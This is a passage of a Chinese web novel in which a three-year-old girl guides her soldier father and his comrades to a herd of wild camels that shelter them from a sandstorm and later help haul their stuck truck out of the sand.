那声音……有一种韵律。不似风声的狂乱,更像某种沉稳的、富有节奏的律动,像沉重的鼓点,又像大地深沉的脉搏。
不疾不徐,丝毫没有被狂风搅乱。
梁哲感觉到怀里的小小身躯忽然动了。
毛茸茸的帽子从他外套领口钻了出来。甜甜努力仰起小脸,忽闪的大眼睛在漫天沙尘中寻找着什么。梁哲想摘下自己的护目镜给她戴上,却被她用小手套轻轻推开了。
她迎着那声音的方向,歪着小脑袋凝神细听。狂风吹得她的小辫子左右乱晃,却丝毫没能干扰她的注意力。
看着,听着。
忽然,她抬起手,指向风沙最肆虐、看起来最危险的某个方向,声音清晰而肯定:
“爸爸,我们去那里!”
梁哲的目光始终追随着女儿的动作,顺着她指的方向望去——目之所及,除了无边无际
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的黄沙,什么也看不见。
但此刻,没有任何人提出质疑。
白旅长第一个站起身,拍掉身上的沙,沉声道:“都听见了?”
所有人都心照不宣地同时起身。
大家系紧了彼此身上的绳子,朝着甜甜手指的方向,坚定地迈开步子。
离开车体的瞬间,完整的、毫无遮拦的风沙威力便结结实实砸在每个人身上。那不是风,是无数砂石组成的、横向抽打的实体鞭子。战士们不得不弯下腰,将重心压到最低,几乎是半爬行的前进。沙地松软虚浮,一脚下去便没至小腿,**要耗费巨大的力气,而下一秒,流沙又迅速填满身后的脚印。呼吸成了一种酷刑,即便用布捂住口鼻,炽热粗糙的沙粒依旧无孔不入,呛进气管,灼烧着喉咙。
“抓紧绳索!一个跟紧一个!别掉队!”梁哲的吼声在风中被撕扯得破碎。他一手死死揽住胸前的甜甜,另一只手与身后的宋大壮紧紧相扣。甜甜被他用军装和自己的体温牢牢护住,小脸埋在他颈窝,只偶尔抬起,透过缝隙辨认方向,然后用小手轻轻扯动父亲的衣领,示意左转或右偏。
队伍在沙丘间蜿蜒,像一条在沸水中挣扎的细线。视线模糊,方向感完全丧失,唯一能信赖的,只有前方那具小小身躯传来的微弱牵引。时间感也变得混沌,仿佛走了几个世纪,又仿佛只在原地挣扎。
就在体力即将耗尽、绝望再次开始蔓延时,走在最前面的白旅长猛地停下了脚步,抬手示意。
“听!”他嘶哑地喊。
风声依旧狂躁,但隐约间,似乎夹杂了别的声响——沉闷的、此起彼伏的喷鼻声,还有……某种庞大身躯摩擦沙地的悉索声。
梁哲的心猛地一跳。他努力眯起眼,透过护目镜上厚厚的沙尘向前方望去。
第54章 沙海求生!三岁萌娃指挥野骆驼救人!
昏黄的沙幕仿佛被一只无形的手撩开了一角。先是几个朦胧的、起伏的剪影,像颠簸沙海中凝固的岛礁。
随着他们艰难地再靠近一些,那些剪影逐渐清晰——是骆驼!一个由二十几峰野骆驼组成的驼群!
它们就那样安静地跪卧在一片相对背风的巨大沙窝里,围成了一个不甚规则却异常坚实的圆圈。长长的脖颈低垂,头颅紧贴同伴的身躯,用一种静默的姿态,迎接着这场沙漠的暴怒。
那些厚重的皮**上覆满沙尘,如果不细看,几乎与周遭的环境融为一体。却有一种别样的,沉静而强大的生命力环绕着它们。
“是骆驼!一大群野骆驼!”
一名战士失声喊道,声音里充满了绝处逢生的狂喜。
在沙漠里摸爬滚打过的人都知道:有骆驼的地方,就代表两个字——生机!
这些沙漠之舟远比人类更懂得如何在这片死亡之海中存活。它们选择的地方,一定是此刻风暴中最安全的位置;它们围成的阵型,就是最坚固的天然屏障。
不需要任何命令,求生的本能驱使他们连滚带爬地冲向那片生命之岛。
越靠近,才越觉震撼。
骆驼们首尾相接,围成了一座小山,庞大的身躯像一堵堵温热的、会呼吸的墙,将最猛烈的风沙严严实实挡在了外围。
最让人诧异的是,这些野骆驼们,似乎对突然闯入的人类既不惊慌,也没拒绝,只是略微抬了抬眼皮,又继续保持着它们对抗风沙的姿态。
白旅长率先赶到,来不及坐下,先把身后的小战士拉了过来,那名战士看着围得严严实实的骆驼群,心里生出憧憬,“旅长,咱们能挤进去不?里面肯定更安全。”
白旅长当然也知道,驼群中心是最理想的避风港,可骆驼们挨得太紧,连一丝缝隙都没有,又怎能驱使这些生灵重新站位?他只能拍了拍小战士的肩:“将就着靠会吧,能挨着骆驼已经是万幸了,你没发觉风都小了大半?”
小战士点点头,也顾不上休息,转身去帮扶其他战友。
不多时,梁哲抱着甜甜也抢到了驼群旁。小姑娘在爸爸怀里扭了扭身子,小脑瓜好奇地探了出来。
梁哲急忙按住她:“甜甜,别动,风还大着呢。”
“爸爸,我要跟大怪兽说话。”小姑娘奶声奶气地说。
在她有限的认知里,所有叫不上名字的动物无非两类:大怪兽和小怪兽。她从没见过骆驼,自然也不知道这些守护着他们的“朋友”究竟叫什么。
“那不是大怪兽,是骆驼。风这么大,等风小了再跟它们打招呼好不好?”
“不要,爸爸快放我下来,我有话要跟它们说。”小姑娘急得蹬了蹬小腿,心里装着一肚子话,生怕“怪兽朋友”等急了。
梁哲拗不过女儿,只好小心翼翼地把她放在沙地上。甜甜刚站稳,身旁一峰骆驼便缓缓转过头,浑黄的眼珠定定地盯着她。
梁哲心里一紧,手心瞬间冒了汗——骆驼虽性情温顺,但毕竟是野生生灵,万一发起脾气咬人可怎么办?
他的担忧还没落地,甜甜已经迈着小短腿走了过去,径直向骆驼伸出了小手。
得益于驼群的阻挡,这里的风明显小了许多,连肆虐的沙粒都不再劈头盖脸地砸下来。
那峰骆驼盯着甜甜的小手,似乎在疑惑这个小不点要做什么。梁哲屏住呼吸,目光紧紧锁在女儿身上,一旦骆驼做出攻击行为,他便要立刻冲上去将女儿护在怀里。
可甜甜只是轻轻将小手贴在了骆驼的身躯上——她个子太小了,即便骆驼跪卧着,也依然够不到它的头。
但这丝毫不影响她们之间的“对话”。
“大怪兽,风爷爷好凶呀,甜甜走累了,爸爸也累了,叔叔和爷爷们都累坏了,好想睡觉觉。”
甜甜仰着小脸,声音软乎乎的。骆驼身上独有的腥膻味混着沙土味扑面而来,她却毫不在意,反而凑得更近了些,小手轻轻摩挲着骆驼粗糙的皮**。
陆续赶到的战士们围了过来,尽管个个筋疲力尽,恨不得立刻瘫倒在地,却都瞪着眼睛,安静地看着甜甜和野骆驼“交流”,没人敢出声打扰。
“你能帮甜甜找个舒服的地方睡觉
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觉吗?”小姑娘歪着脑袋,认真地问,“等以后你们来找甜甜玩,甜甜给你们准备礼物。”
爸爸说过,跟好朋友相处要互相付出,不能只提要求,她现在没有礼物,但爸爸一定会帮她准备的。
围在一旁的二十多双眼睛,听着这稚嫩天真的童言,没有一个人露出嘲笑或怀疑的神色。他们的命都是甜甜救的,此刻别说甜甜要找睡觉的地方,就算她说天上会掉下个月亮来,他们也信!
那峰骆驼垂着头,定定地瞧着眼前这个小不点,迟迟没有动静。众人心里都冒出一个想法——看来,骆驼没听懂。
绝不是我们甜甜表达得不清楚,肯定是这骆驼智力有问题,只要换一峰问问,准能成。
谁知念头还没转完,奇怪的事情发生了,那峰骆驼垂着头,似乎深吸了一口气,将庞大的身躯向内缩了缩。
它身后的另一峰骆驼像是接收到了信号,也跟着向内缩了缩。
两峰之间,竟腾出了一道缝隙。
刚好够一人侧身挤入。
宽窄正好能容一个人挤进去。
二十多名战士大眼瞪小眼,全都看傻了。
这……这是骆驼听懂了甜甜的话,把驼群中心的安全区域向他们敞开了?
没有犹豫,白旅长立刻道:“梁哲,抱甜甜进去!”
前面的几人立刻转身让路,梁哲也顾不得推辞,他怎样都好,绝不能让女儿有闪失。
“宝贝,快和爸爸进去。”
甜甜却摇头,“爸爸,我还要和大怪兽说谢谢呢。”
“那……旅长,您先进。”
白旅长转向一名战士:“你进去,里面安全。”
那名战士却回过头,“爱国,你刚才是不是崴了一下?你进。”
“我没事!小张扛着装备呢。他先进。”
众人你推我让,谁都不肯先踏进那个安全区。
宋大壮急了,怒吼道:“干嘛呢你们!现在是推让的时候吗?风还没停呢!都给老子按顺序进!耽误了时间,万一骆驼反悔了怎么办?”
为首的战士无奈,只好侧身从缝隙里挤了进去。
第55章 好感动,全员想把小福星宠上天!
瞬间,他仿佛进入了另一个世界。风声陡然减弱了大半,劈头盖脸的沙粒也变成了偶尔飘落的细尘。他靠着骆驼温热而结实的身躯,长长地、颤抖地吁出一口气,几乎瘫软下去。
“小汪,接一把。”
第二个人也解下背包,顺着缝隙挤了进来。
紧接着第三人、第四人……
终于,除了梁哲、白旅长和宋大壮之外,战士们都一个接一个地钻进这个由血肉之躯构筑的避风港湾。
“旅长,快!”宋大壮着急地催促。
白旅长深深看了梁哲一眼,“抓紧时间,谁也说不准会不会有新一轮沙暴。无论如何,务必确保甜甜的安全。”
说完,他侧身挤了进去。
“梁团!”
梁哲望着甜甜,小姑娘还在和骆驼说着话,这回她的手终于摸到对方的大脑袋了。
原来,是骆驼主动低下来,把脑袋凑到了她的手边。
甜甜一边摸着骆驼的绒毛,一边小声“抱怨”,“爸爸不乖,不听甜甜的话,还不带甜甜来,多危险呀。不过我不会怪爸爸,要是他亲亲我,我就原谅他啦。”
梁哲听到女儿的小童音,眼眶瞬间一红,哪怕在风沙肆虐中也没流下的眼泪,此刻蓄满眼角,在眼眶中不停地打转。
他从没想过,自己一心想保护女儿,反倒伤害了她幼小的心灵。而甜甜不但没怪自己,反而不顾危险,赶来救了所有人。
梁哲啊梁哲,你要什么时候才能相信,你的女儿虽然幼小,但绝不是普通的孩子,要爱她,第一条定律就是,无条件地相信她!
他以前总觉得,父母给予孩子无条件的爱,就是要从自己的经验出发,替她做出决定,帮她规避所有风险。却忘了这种“以爱为名”的保护欲,有时也是一种伤害。
真正的爱,是尊重她,信任她,支持她,做好她的坚强后盾。唯有如此,孩子才会在抉择中一步步成长起来。
想到这里,他抹手拭去眼角的湿意,弯下腰,贴在甜甜耳边道:“宝贝,爸爸错了,爸爸应该相信你,是爸爸不对。你能原谅爸爸,再给爸爸次机会吗?”
甜甜歪着小脑瓜,撅着小嘴,故作生气地说,“哼,那我要看你的表现哦。”
“你想要爸爸怎么表现?”
“嗯……”甜甜装作认真思考,嘴角却已忍不住往上翘,爸爸真是太傻了,甜甜压根就没真生他的气呀。
不过嘛,想要爸爸亲亲自己,还得他自己主动才行。
她扬起小脸蛋,带着几分小傲娇,手指点了点自己的脸蛋,鼻子里哼了一声。
妈妈从前哄自己亲亲她时,就是这个样子的。
那时她就会扑到妈妈怀里,把口水蹭了妈妈满脸。妈妈就会一边笑着,一边把自己抱到怀里,使劲亲她的小脸蛋。
望着女儿稚嫩可爱的模样,梁哲的心软得一塌糊涂。他猛地将孩子紧紧搂进怀里,粗糙的脸颊紧紧贴着她细嫩的小脸,被风沙撕裂的嘴唇小心翼翼地印在她冰凉的肌肤上,留下一个属于父亲的,充满愧疚与疼爱的吻。
“甜甜,我的好女儿,爸爸会永远爱你,永远永远相信你。”
得到爸爸亲亲的小甜甜心满意足,不过爸爸的胡茬扎在脸上,还是有点痒的。她咯咯地笑了起来,伸出小手搂住梁哲的脖子,大声宣布,“好啦,我原谅你啦。”
这句话一出,梁哲的泪水再也控制不住,悄无声息地滚落下来。
就连守在一旁的宋大壮也忍不住抬手,擦掉了自己脸上的泪水。
太感人了,自己要是有这么一个贴心的小棉袄,给多少钱都不能换!
“行了,梁团,甜甜,你们快进去吧。这天黑得太吓人,说不定一会还要刮一场呢。”
梁哲这回不再替女儿拿主意。他蹲下身,认真看着她的眼睛:“宝贝,你说呢?”
甜甜拍拍骆驼的头,“大怪兽,谢谢你帮我,我们以后也是好朋友啦。”
说完,她下了决定,“爸爸,我们进去。”
“好!”
梁哲急忙抱住女儿,父女俩一同挤进骆驼间的缝隙。最后,宋大壮也钻了进来。他刚站稳,骆驼们便缓缓挪动身躯,将那条缝隙重新填满。
风沙,被这堵生命之墙,彻底关在了外面。
骆群中心的战士们早已瘫倒在骆驼身旁,背靠着那一起一伏的温暖躯体,贪婪地喘息着。
空气中虽然依旧充满沙土味,好在不是那种被堵住口鼻的窒息感。
有人脱力地摘下被沙粒糊住的护目镜,露出通红含泪的眼睛;有人拿起水壶,手抖得几乎对不准嘴。
直到此刻,他们才真切地感受到“安全”两个字的重量。
与野骆驼群提供的庇护相比,刚才那卡车后面和垮塌的棚子,简直不堪一击。
梁哲背靠着一峰成年公驼坐下,把女儿抱在怀里。那只公驼只是微微动了动,喷了个温热的响鼻,便
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继续维持着原先一动不动的姿势,担当起沉默而可靠的屏障。
甜甜从他怀里探出小脑袋,亮晶晶的眼睛扫过这些巨大的、温顺的生灵,伸出小手,开始和身边的骆驼打招呼。
那骆驼也回过头,用湿漉漉的大鼻子轻轻嗅了嗅她的手指。
“嘻嘻,大怪兽,你是不是要告诉甜甜,这里很安全,可以睡觉觉了呀?”
甜甜的声音软乎乎的。话音刚落,那峰骆驼果然又打了个响鼻,像是在回应她。
甜甜立刻兴奋地宣布:“白爷爷,大怪兽说啦,咱们可以睡觉觉了,它会保护咱们的!”
白旅长闻言,严肃的脸上露出慈祥的笑容。这笑容是独属于甜甜的,除此之外面对任何人,白旅长都很少有笑意。
“好,听甜甜的,让我们睡,我们就都睡。养足精神,明天回基地!”
说着,他吩咐周围东倒西歪的战士,“除了轮流哨,其他人抓紧时间休息。”
大家脸上还带着劫后余生的恍惚,眼中却满是感激与庆幸。
“是,听甜甜的!谢谢甜甜!”
“甜甜,叔叔这个月的津贴全给你买好吃的,回基地就给你!”
“甜甜要不要小木枪?叔叔手艺好,回去就给你削一把!”
“我还有两块大白兔奶糖,不留到过年了,明天就给你吃。”
“甜甜你还要啥?叔叔……叔叔给你当大马骑?还能驮你玩大飞机。”
“好了好了,都少说两句吧。”宋大壮笑着拍拍身边这群激动不已的战士。二十几条濒临绝境的生命因甜甜重获生机,大家都感激得不知如何是好。
“甜甜也累了,让她睡吧。”
说着,他向梁哲方向一努嘴,臂弯里,那个小脑袋早已埋进父亲的胸前,长长的睫毛阖拢了,像蝴蝶的影子落在雪白的小脸蛋上。
呼吸平稳,甜甜,睡着了……
所有的声音戛然而止,众人生怕吵醒了他们的小福星,不约而同地屏息静气。
白旅长轻轻走过去,解开自己的军大衣,脱下里面干净的军装内衬,小心翼翼盖在甜甜身上。
随后,他做了个噤声的手势,悄悄退回骆驼身旁。
战士们接二连三地靠在骆驼身上睡去。在驼群的守护下,他们终于能在这场风暴之夜,享受片刻安稳的睡眠。只有梁哲,将额头轻轻贴在女儿的脸颊上,目光温柔地凝视着怀中的宝贝,心中的怜爱与愧疚久久难以平静。
第56章 劫后余生!跨物种温情,暖哭铁血硬汉!
不知过了多久,风声渐息,大地重新归于宁静。
昨夜那吞噬一切的狂怒,仿佛只是一场过于逼真的噩梦。沙暴收走了它全部的力道,只留下饱受蹂躏的沙丘,或被撕出狰狞的鸿沟,或被堆成崭新的曲线,作为这一切发生的见证者。
天空一点点洗净尘埃,恢复成澄澈的浅蓝。金色的阳光穿透云层,像碎金般洒落在被驼群守护的战士们身上,驱散了一夜的寒意。
最先感知到风暴平息的,是骆驼。
那峰体态高大的公骆驼动了动耳朵,缓缓站直身躯,埋太厚重的皮毛里的沙土随着它的动作籁籁抖落,细小的尘粒在阳光里跳跃飞舞。
它昂起头,打了一个带着湿气的响鼻。
其余的骆驼们相继起身,它们相互用脖颈轻轻触碰,发出低沉的呜鸣,仿佛在确认同伴的安好。
这动静惊醒了浅眠的战士们。
执勤的哨位几乎在骆驼动作的时候就站直了身子,随后,是白旅长、宋大壮等人。作为军人的警觉早已深入骨髓,更有一种形似鹰隼般的敏锐。
清晨的沙漠恢复了清晰的能见度,战士们相互对视,看着彼此狼狈不堪的模样,不由得发出劫后余生的感叹。
头发、衣领、衣摆里全是细沙,每个人都像从土堆里刨出来似的,但是,他们都活下来了。
“结束了?”有人哑着嗓子问。
“结束了。”回答的声音同样哽咽。
他们想笑,嘴角僵硬得扯不出弧度,眼眶反倒先热了。
穿越了生死,所有人才知道,在大自然的神威面前,平安来得何其不易。
白旅长站起身,拍了拍军装上凝结的沙块,恢复了昔日的威严:“宋大壮,清点人数,检查装备。”
“是!”
宋大壮走入人群,很快,传来了低沉的报数声、整理背包声和检查水壶的窸窣声。片刻后,结果汇总:二十二个人,无人掉队,无人重伤,除了疲惫和轻度脱水外,所有人都奇迹般地完好无损。
直到这时,大家的目光才不约而同地,温柔地投向同一个方向——
梁哲这一夜几乎没怎么合眼。
他靠着的那峰公骆驼早已走到一旁,正悠闲地啃食着沙窝边缘冒出的几丛骆驼刺。而梁哲仍坐在地上,双臂紧紧环抱着怀里的女儿。
沙漠昼夜温差极大,不少人的睫毛上已经结了一层薄薄的白霜。要不是靠着骆驼温热的身躯彻夜取暖,真不知有多少人会被冻坏。
可甜甜被梁哲护得极好,小身子睡得热乎乎的,圆圆的脸蛋像熟透的苹果般,透着健康的红润。
她的小嘴微微张着,呼吸均匀,小手抓着爸爸的衣襟,模样乖顺可爱至极。
一夜惊涛骇浪,她却是风暴眼里最安宁的那个。
没有人说话,战士们生怕惊扰了这位小福星,大家眼含关切和慈爱,所有的动作都放得更轻。
梁哲看着战友们的目光,摇头示意女儿没事,他抱了孩子一夜,肩膀和手臂早已麻木,却舍不得动弹一下,不想打扰她的梦境。
就在这时,甜甜的睫毛颤了颤。
小姑娘像是感觉到晒在身上的阳光,动了动小身子,迷迷糊糊地睁开眼。
那双乌溜溜的眸子还带着惺忪的睡意,茫然地看了看父亲的下巴,又转了转头,望向周围。
“爸爸……”稚嫩的声音软乎乎的,带着刚睡醒的鼻音,“风爷爷走了吗?”
“走了。”梁哲用下巴蹭了蹭她光洁的额头,“太阳出来了,我们可以回家了。”
甜甜似乎花了几秒才把眼前的景象和昨夜的记忆连接起来。当她转过头,看到不远处正在啃食的驼群时,眼睛倏地亮了。
“大怪兽!”她高兴地叫了一声,挣扎着要从梁哲怀里下来。
梁哲没有阻止,小心地托着她,让
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她站在沙地上。
甜甜脚一沾地,就朝最近的那峰骆驼跑去。昨晚就是这只大怪兽陪在爸爸身边,甜甜才睡了香香的一觉。
骆驼似乎也认出了这个小不点,停止咀嚼,转过头,温顺地垂下脖颈。
甜甜跑到它跟前,伸出小手,摸了摸它粗糙的鼻子:“大怪兽,早上好!谢谢你保护我们睡觉觉!”
骆驼从鼻孔里喷出一股温热的气息,轻轻拂过甜甜的小手,算是回应。
这一幕,让所有默默注视的战士们都露出了温暖的笑容。
阳光终于冲破了最后一丝尘霾,金红色的光芒洒在无垠的沙海上,也洒在战士们和骆驼群的身上,给大家覆盖上一层暖意。
宋大壮组织所有人整理好行装,分配了所剩不多的饮水。然后走上前,逐一和骆驼们道别。
有人从背包里掏出仅剩的几块压缩饼干,其他战士也纷纷效仿,把自己随身携带的干粮拿出来,放在了沙地上。
这是一群铁血男儿能拿出的最真诚的感谢。
白旅长站在一旁,静静地看着这一幕。他明白,经过昨夜的生死相依,这群战士与野骆驼之间,早已产生了一份特殊羁绊,共同见证了这份跨越物种的温情。
骆驼们安静地享用完这顿早餐,纷纷昂起了头。那峰高大的公骆驼转过身,发出一声悠长的嘶鸣。
这是告别的信号。
其它的骆驼们目视着战士们,也做出同样的动作。
随后,公骆驼转过身,带领它的族群,向着沙漠深处走去。
只留下一行行清晰的蹄印,指向远方。
白旅长抬头观察了一下太阳方位,又对比骆驼离开的方向,心中已经有数,这与他们返回基地的路线大体吻合,而他们的车队,正好也陷在这条沙道上。
“全体准备出发。”白旅长吩咐,“跟上骆驼的足迹,先去把我们的车挖出来。”
第57章 神反转!卡车深陷流沙,那群“大怪兽”竟折
战士们很快集结队伍,沿着蹄印跋涉。不多时,已经来到昨夜陷车的洼地,六辆军用卡车歪斜地停在沙中,其中五辆虽然覆满沙土地,但状况还好,经过简单处理后,还能顺利打火启动。
只有最开始陷入的那一辆,半个车身已被厚重的流沙埋住,更要命的是,这辆车装载着沉重的石磨盘,巨大的惯性让它深陷沙海,动弹不得。
要想把这庞然大物弄出来,常规的卸载磨盘再牵引显然不现实——一来没有起重设备,二来缺少支撑点,强行撬动容易把车身再压深。
战士们找出带来的厚木板,垫在后轮下增加摩擦力,又在车尾挂上了粗壮的牵引钩,另一头拴在另一辆卡车上。
宋大壮跳上牵引车发动了引擎。伴随着一阵沉闷的低吼,牵引车车开始发力,钢丝绳瞬间绷得笔直。
然而,陷车的重力远超想象。后车的轮胎在沙地上疯狂空转,卷起漫天黄沙,引擎发出痛苦的咆哮,却只能在原地刨出一个个大坑,车子纹丝不动。
反倒是垫在下面的木板,在巨大的压力下发出令人牙酸的“嘎吱”声,仿佛随时都会断裂。
“不行!受力太集中了!”梁哲见状,立刻把甜甜交给白旅长,“往木板下填沙子,加固支撑!快!”
他抄起铁锹跳进了陷车旁的沙坑,迅速把沙子填进木板下方的空隙里,“一班长,带人清底盘周围的流沙,二班长,拆卸档板,固定磨盘!”
战士们立刻响应,大家各自分工,依仗着人多力量大,很快陷车四周的流沙就被清理出一大片,露出了底盘。卡车档板也被拆卸下来,和厚木板捆在一起进行加固,额外又多垫了两层备用板。
“准备好了!”一班长擦了把脸上的汗,朝宋大壮大喊。
宋大壮再次启动引擎。
陷车司机挂好倒档,两辆车同时猛踩油门。
战士们丢掉工具,跑到陷车车头助推,所有人吆喝着口号,一起发力。
“一、二、三——嘿!”
“一、二、三——嘿!”
在双重力量的作用下,陷车车身开始一点一点、极其缓慢地向后移动,轮胎渐渐攀上木板铺就的坡道。经过加固后的木板发出令人心悸的呻吟,好在没有被当场轧断。
战士们士气大振!
“动了!动了!加把劲啊!”人群中爆发出激动的呼喊。
车身整体开始缓慢上升,前轮逐渐脱离了坑道,后轮离地面越来越近。
一班长涨红了脸,额角青筋暴起。
战士们绷紧了周身肌肉。
引擎声继续咆哮,眼看离地面只剩二十几公分!
胜利近在咫尺。
所有人的心都提到了嗓子眼。
就在这紧关结要的一刻——
“吱——”的一声尖锐刹车声突然响起,宋大壮一脚踩**刹车!
陷车车身猛地一晃,钢缆迅速回弹。推车的战士们猝不及防,全都被闪了一下,有的甚至差点摔倒。
“宋大壮!你搞什么鬼!”白旅长抱着甜甜,见状勃然大怒。眼看卡车就要脱困,他居然在这个节骨眼上停下了?
宋大壮匆匆拉上手刹,从车窗里探出头来,满脸涨红,额角沁着汗水。
“旅长,不行啊,再加油门,我这辆车就陷进去了。”
众人这才发现,牵引车的轮胎已经开始吃重下沉了。
他们都忘了,沙地根本承受不住这样爆发性的巨大拉力,如果再不停止,后车不知道能不能脱困,但前车大概率也会陷进去。
到那时,局面将更加不可收拾。
现场瞬间陷入一片沮丧的沉默。
希望的曙光刚刚升起,转眼又被乌云吞没,战士们看着眼前的一切,陷入到进退两难的抉择里。
甜甜被白旅长抱在怀里,能感受到周围低落的气息,她拧着小眉毛,也和大人们一起陷入了苦恼之中。
正在众人一筹莫展之时——
一阵低沉而熟悉的哼鸣声从沙丘后方传来。
所有人循声望去,立刻瞪大了眼睛。
只见那群本该离去的野骆驼,竟然去而复返。二十几峰骆驼排成一字形队伍,不紧不慢地走下沙丘。
为首那峰高大的公骆驼目标明确,径直朝着被困的卡车踱来。
战士们几乎愣在当场,被梁哲低喝一声,才猛地反应过来,慌忙让开了道路。
驼群在卡车近前停下。公骆驼低下头,用鼻子嗅了嗅车轮附近的沙子,又抬头看了看卡车巨大的身躯。其他骆驼安静地站在它身后,目光沉静,仿佛在评估这项“工程”的难度。
甜
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甜在白旅长怀里兴奋地扭动:“白爷爷!是大怪兽!它们回来帮忙啦!”
白旅长心中五味杂陈。野骆驼生性警觉,一直与人类保持距离,他们在戈壁滩驻守这么久,也难得一睹踪影。昨夜驼群协助众人避难已是奇事,如今竟主动折返,看这架势,是要再次伸出援手。
只见那峰公骆驼在原地踱了几步,随即发出几声短促而有力的低吼。驼群立刻有了反应,它们自动分成了两拨。六七峰最为健壮的成年公驼走向卡车的后方,在牵引绳的位置站定。
另一拨骆驼则分散到车身两侧和车头,它们用嘴和前蹄刨挖掉车轮附近的浮沙,动作居然颇有章法,随后纷纷散开。有的抵住车头保险杠,有的则用厚实的身躯紧紧顶住车身两侧。
白旅长立刻明白了它们的意图,车头前的骆驼负责助推,后面的则是负责牵引。
“快!找绳索,绑到牵引钩上!动作轻一点,别惊到骆驼!”
战士们如梦初醒,立刻翻出粗长的绳索和帆布带。将绳索一端系在牵引钩上后,握着另一端却犯了难——这绳索,难道要直接套在骆驼身上?
那峰公驼似乎看懂了人类的迟疑。它主动走上前,低下头,将粗壮的脖颈伸到绳索前,其余的几峰也都凑过去,喉间发出催促般的咕噜声。
“它……它让我们绑在它身上?”战士拿着绳索,不敢置信。
白旅长看着怀里的甜甜,“宝贝,你说我们该怎么办?”
甜甜立刻扭动身子,从白旅长怀里滑落到地上。
她迈着小短腿跑到公骆驼身边。公驼认出了这个小家伙,温顺地向她低下头。
“大怪兽,你要帮我们吗?”
甜甜仰着小脸问。
她抬手摸着骆驼毛茸茸的脸,“那会很辛苦的哦。”
骆驼目光温顺,鼻子里喷出温热的气息,拂过甜甜的小脸蛋,像是无声的默许。
“白爷爷!”甜甜歪着小脑袋高声喊道,“大怪兽说它们不怕辛苦!”说完,她亲昵地搂住骆驼的脖子,小声呢喃:“大怪兽,谢谢你。叔叔们会谢谢你,白爷爷会谢谢你,爸爸也会谢谢你,我们都谢谢你呀。”
她把所有人的感谢都认真传达了一遍,这才乖乖后退几步,站到了安全的地方。
第58章 敬礼!军车陷沙窝,全靠骆驼军团救场
白旅长压下心头激荡,吩咐战士:“去我车里把随军毯子拿来,垫在绳子下面,别勒伤了骆驼。”
小战士应声而去,很快就从昨晚开过来的卡车里取来毯子。几名战士小心翼翼地将绳套绕过并排的几峰骆驼胸前,再把毯子仔细垫好,防止勒伤皮**。骆驼们甩了甩头,在测试好绳索的松紧后,它们互相倚靠着,四蹄分开,摆出了蓄力的姿态。
与此同时,抵住车头的骆驼们也调整了姿势,将重心放低,绷紧了浑身的肌肉。
这一次,没有卡车的牵引助力,全靠这些生灵们的自发帮助,要将这庞然大物拉出去。
所有的战士们,包括白旅长、宋大壮全都加入其中,大家各自找好能下手的地方,做好一切准备。
梁哲抵在车厢板的最前面,双手摆好发力姿势,冲甜甜道:“宝贝,你来喊口号,我们所有人都听你指挥。”
三岁的小萌娃重重一点头,站到了队伍的最前面,她抬起头,注视着公骆驼的眼睛。
“大怪兽,我要喊啦!”
小女孩还不习惯像大人那样倒数,她用小手圈成喇叭,把小手圈成喇叭状,凑到嘴边,用尽全身力气大喊:“冲——呀——!”
随着稚嫩的声音划破寂静,几峰骆驼同时发力!
它们粗壮的脖颈猛地向上扬起,前腿深深蹬入沙地,全身的力量通过肩膀和胸膛传递到绳索和车身上,爆发出一股磅礴的力量!
那是属于生命特有的、坚韧不屈的劲道。
“冲!”战士们齐声呼喝,所有人拼尽全力,脚下的沙地都被他们蹬出了一道沟。
而车头前的骆驼们也奋力向前顶,身体和金属发出令人牙酸的摩擦声。
嘎吱——!
卡车车身剧烈地摇晃了一下,车轮下的沙粒开始松动、滑落。
“动了!动了!”战士们激动地低呼。
“再来一次!所有人使劲!”
骆驼们似乎也感知到了成功的希望。
它们的喘息变得粗重,鼻孔喷出大股白气,绳索深深勒进垫好的毛毯里,却没有一头骆驼退缩。
甜甜的第二声如期响起:“加——油——呀——!”
清亮的小嗓门,却是所有人冲锋的号角,负责拉纤的骆驼们四蹄死死抠住地面,奋力向前拔步。
战士们更是憋足了劲,浑身青筋暴起!
助推的骆驼们也卯足了力气!
所有的力量再一次轰然爆发!
在低沉而整齐的喷鼻声和人类的号子中,卡车那庞大的躯体,开始极其缓慢,却又无比精准地滑上木板,一点点从沙坑中向上挣脱……
“加油!加油!”
甜甜站在骆驼身前,小拳头攥得紧紧的,用最大的力气替所有人鼓劲!
“爸爸加油!”
“白爷爷加油!”
“叔叔们加油!”
“大怪兽!你们最棒啦!”
“哗啦——!”
伴随着童音的热切呼唤,卡车的右后轮率先滚上了相对坚实的沙面!紧接着是左后轮,右前轮……
当最后一个轮胎彻底摆脱流沙的束缚时,骆驼们才同时卸去力气。拉纤的几峰骆驼脚下踉跄,发出沉重的喘息。
其他的骆驼也纷纷退开,各自打着响鼻,舒缓着发疲惫。
卡车,终于稳稳地停在了沙坡上。除了满身沙土,它看起来完好无损。
一片寂静。
只有骆驼们粗重的喘息声,和风吹过沙面的细微呜咽。
方才发力的战士们一个个跌坐在沙地上。他们摘下军帽,敞开衣襟,任由汗水顺着脸颊滑落,抖落满身沙尘,目光却始终紧紧锁在那群骆驼身上,久久没有移开。
若没有这群戈壁生灵的鼎力相助,他们不知要在这沙窝里困多久。感激、震撼、敬畏……种种情绪堵在众人胸口,沉重得让他们一时间竟不知如何表达。
还是甜甜打破了沉默,她飞快地跑到公骆驼面前,小手心疼地抚摸着它被绳索勒过的胸口,那里毛发有些凌乱,虽然在毛毯的保护下没有受伤,却还是有
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一道浅浅的印迹。
“大怪兽,疼不疼?甜甜给你呼一呼,你就不疼了。”
她踮起脚尖,对着那道印痕轻轻吹气,小腮帮涨得鼓鼓的。
公骆驼弯下脖颈,用鼻子轻轻碰了碰她的额头,发出一声近乎温和的低鸣。
其余的骆驼也都围拢过来,目光温顺地望着这个小小的身影。
白旅长深吸一口气,做了个手势。
战士们立刻整装,起立,迅速战成整齐的队列。
“敬礼——!”
高亢而庄严的声音在戈壁滩上空回荡,所有战士,包括梁哲和宋大壮,齐刷刷转向骆驼群,动作整齐划一。
他们脊背挺直、双腿并立、右手五指并拢高举过头。向它,也向整个骆驼群,敬了一个标准而庄重的军礼。
阳光下,金色的沙海里,一群军人向着另一群沉默的生灵,致以人类最高、最纯粹的敬意。
没有语言,但一切已在不言中。
良久,白旅长放下手,沉声道:“解下绳索,检查车辆,准备出发。”
绳索被小心解开。公骆驼甩了甩头,仿佛卸下千斤重担。
骆驼群重新聚拢,在首领的带领下,再一次缓缓离开。
这一次,它们无需再回头,因为所有的危险,都已经过去。
车辆检查完毕,引擎轰鸣声重新响起,六辆军用卡车在戈壁滩上排成一列,雄壮而威严。
